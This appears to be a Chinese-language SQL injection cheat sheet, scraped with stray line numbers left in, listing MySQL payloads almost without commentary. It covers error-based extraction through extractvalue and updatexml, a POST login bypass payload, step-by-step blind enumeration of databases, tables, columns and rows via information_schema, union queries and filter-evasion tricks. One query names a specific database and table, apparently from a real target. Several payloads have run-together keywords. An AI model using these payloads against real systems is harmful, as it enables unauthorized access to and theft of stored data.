select*from test where id=1and (extractvalue(1,concat(0x7e,(selectuser()),0x7e))); select*from test where id=1and (updatexml(1,concat(0x7e,(selectuser()),0x7e),1));
例如post注入:
1
username=admin' and updatexml(1,(concat(0x7e,(select mid(group_concat(schema_name,56,30)) from information_schema.schemata),0x7e)),1)#&password=123
and ascii(mid(database(),1,1))>1 and ascii(mid(database(),2,1))>1
查询当前数据库中所有表名
1 2
and (selectcount(table_name)from information_schema.tables where tables_schema=database())>1 and (selectcount(table_name)from information_schema.tables where tables_schema=database())>10
查询第一个表的长度
1
and (select length(table_name)from information_schema.tables where tables_schema=database()limit 0,1)>10
查询表的第一个字符
1
and ascii(mid((select table_name from information_schema.tables where table_schema=database()limit 0,1),1,1))>1
查询atelier表里有几个字段
1
and(selectcount(column_name)from information_schema.columns where table_name ='atelier'and table_schema = database())>2
查询第一个字段长度
1
and length((select column_name from information_schema.columns where table_name='atelier'and table_schema= database()limit 0,1))>1
查询字段第一个字符
1
and ascii(mid((select column_name from information_schema.columns where table_schema ='db83231_asfaa'and TABLE_NAME ='atelier' limit 0,1),1,1))>105
查询字段所有行数
1
and (selectcount(*) from db83231_asfaa.atelier)>4
查询字段名的行数(查询emails表,uname字段)
1
and (selectcount(uname)from security.emails)>7 查询uname的行数
查询字段内容
1 2
length((select username from security.users limit 0,1))>10 ascii(mid((select username from security.user limit 0,1),1,1))>100
union (select+1,2,3+from+users)%23 union(select(1),(2),(3)from(users)) id=(1)or(0x50=0x50) id=(-1)union(((((((select(1),hex(2),hex(3)from(users))))))))
花括号
1 2
select{x user}from{x mysql.user} id=-1 union select 1,{x 2},3